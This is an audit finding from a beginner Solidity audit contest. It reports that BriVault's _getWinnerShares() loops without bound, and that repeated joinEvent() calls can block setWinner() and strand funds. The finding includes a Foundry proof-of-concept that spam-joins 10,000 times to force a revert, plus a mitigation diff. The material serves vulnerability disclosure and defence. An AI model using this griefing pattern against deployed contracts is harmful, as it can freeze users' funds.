BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Unbounded loop in _getWinnerShares()

s3mvl4d

Description

  • Finalization should compute winners’ aggregate shares in a bounded, predictable amount of gas, so the owner can always call setWinner() and participants can withdraw.

  • _getWinnerShares() iterates over the entire usersAddress array to sum userSharesToCountry[user][winnerCountryId]. Because joinEvent() pushes the caller’s address every time it’s called (no deduplication), usersAddress can grow without bound—including multiple duplicates of the same user—making setWinner() potentially un-callable due to out-of-gas (DoS). It also overcounts winner shares when the same user appears multiple times.

function _getWinnerShares () internal returns (uint256) {
for (uint256 i = 0; i < usersAddress.length; ++i){ // @> Unbounded over a growing array
address user = usersAddress[i];
totalWinnerShares += userSharesToCountry[user][winnerCountryId];
return totalWinnerShares;
}

Risk

Likelihood: High

  • During the deposit window, participants (or a griefer) repeatedly call joinEvent() before eventStartDate, pushing the same address into usersAddress thousands of times.

  • When the owner later calls setWinner(), _getWinnerShares() must loop over the entire bloated list, exceeding block gas and reverting.

Impact: High

  • Permanent DoS of setWinner(): Owner cannot finalize the event, hence no one can withdraw. Funds remain stuck in the vault.

  • Incorrect payouts (when it does not revert): Duplicate entries inflate totalWinnerShares, lowering each winner’s payout and leaving residual assets stranded.

Proof of Concept

  • DoS vector by exploding usersAddress with repeated joinEvent() calls.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
​
import {Test} from "forge-std/Test.sol";
import {BriVault} from "../src/briVault.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {MockERC20} from "./MockErc20.t.sol";
​
contract WinnerSharesUnboundedLoopTest is Test {
BriVault vault;
MockERC20 token;
​
address owner = makeAddr("owner");
address griefer = makeAddr("griefer");
address fee = makeAddr("fee");
​
uint256 start;
uint256 end;
​
string[48] countries;
​
function setUp() public {
start = block.timestamp + 2 days;
end = start + 30 days;
​
token = new MockERC20("Mock", "M");
token.mint(griefer, 100 ether);
​
vm.startPrank(owner);
vault = new BriVault(
IERC20(address(token)),
150, // 1.5%
start,
fee,
0.0002 ether,
end
);
// set a few countries; index 10 will be our winner
countries[10] = "Japan";
vault.setCountry(countries);
vm.stopPrank();
​
vm.startPrank(griefer);
token.approve(address(vault), type(uint256).max);
// Deposit once to be eligible to join
vault.deposit(5 ether, griefer);
}
​
function test_DoS_setWinner_by_UnboundedLoop() public {
// Before event starts, spam-join to bloat usersAddress
// Even 10_000 iterations can push setWinner near/out of gas on-chain.
for (uint256 i; i < 10_000; ++i) {
vault.joinEvent(10); // pushes same address repeatedly
}
vm.stopPrank();
​
// Move to after event end
vm.warp(end + 1);
​
// Owner tries to finalize - expect revert due to OOG on chains
vm.startPrank(owner);
// In local tests, OOG may appear as a generic revert; we document the DoS vector:
vm.expectRevert(); // Out-of-gas or revert due to exceeding block limits
vault.setWinner(10);
vm.stopPrank();
}
}
​

Recommended Mitigation

  • Track per-country totals as users join/leave

​
@@
contract BriVault is ERC4626, Ownable {
@@
- address[] public usersAddress;
+ address[] public usersAddress; // (can be kept for analytics if deduped)
+ mapping(address => bool) internal isListed; // prevent duplicates in usersAddress
+ mapping(uint256 => uint256) public countryShares; // running total of shares per country
@@
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) { revert noDeposit(); }
if (countryId >= teams.length) { revert invalidCountry(); }
if (block.timestamp > eventStartDate) { revert eventStarted(); }
​
userToCountry[msg.sender] = teams[countryId];
- uint256 participantShares = balanceOf(msg.sender);
- userSharesToCountry[msg.sender][countryId] = participantShares;
- usersAddress.push(msg.sender);
- numberOfParticipants++;
- totalParticipantShares += participantShares;
+ uint256 participantShares = balanceOf(msg.sender);
+ // Record the current shares for the chosen country
+ userSharesToCountry[msg.sender][countryId] = participantShares;
+ // Increase running total for this country
+ countryShares[countryId] += participantShares;
+ // Deduplicate the participants list to avoid bloat
+ if (!isListed[msg.sender]) {
+ isListed[msg.sender] = true;
+ usersAddress.push(msg.sender);
+ numberOfParticipants++;
+ }
emit joinedEvent(msg.sender, countryId);
}
@@
function cancelParticipation () public {
if (block.timestamp >= eventStartDate){ revert eventStarted(); }
- uint256 refundAmount = stakedAsset[msg.sender];
- stakedAsset[msg.sender] = 0;
- uint256 shares = balanceOf(msg.sender);
- _burn(msg.sender, shares);
- IERC20(asset()).safeTransfer(msg.sender, refundAmount);
+ uint256 refundAmount = stakedAsset[msg.sender];
+ stakedAsset[msg.sender] = 0;
+ uint256 shares = balanceOf(msg.sender);
+ // Reduce the country running total if user had joined
+ // (we need the user's last selected countryId; store it alongside the string to avoid string lookups)
+ // For minimal change, derive winnerCountryId-like index from userSharesToCountry map:
+ for (uint256 cid; cid < teams.length; ++cid) {
+ uint256 u = userSharesToCountry[msg.sender][cid];
+ if (u > 0) {
+ // remove their recorded shares and clear entry
+ if (countryShares[cid] >= u) countryShares[cid] -= u;
+ userSharesToCountry[msg.sender][cid] = 0;
+ break;
+ }
+ }
+ _burn(msg.sender, shares);
+ IERC20(asset()).safeTransfer(msg.sender, refundAmount);
}
@@
-function _getWinnerShares () internal returns (uint256) {
- for (uint256 i = 0; i < usersAddress.length; ++i){
- address user = usersAddress[i];
- totalWinnerShares += userSharesToCountry[user][winnerCountryId];
- }
- return totalWinnerShares;
-}
+// read the pre-aggregated total for the winner country
+function _getWinnerShares () internal returns (uint256) {
+ totalWinnerShares = countryShares[winnerCountryId];
+ return totalWinnerShares;
+}
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unbounded Loop in _getWinnerShares Causes Denial of Service

The _getWinnerShares() function is intended to iterate through all users and sum their shares for the winning country, returning the total.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!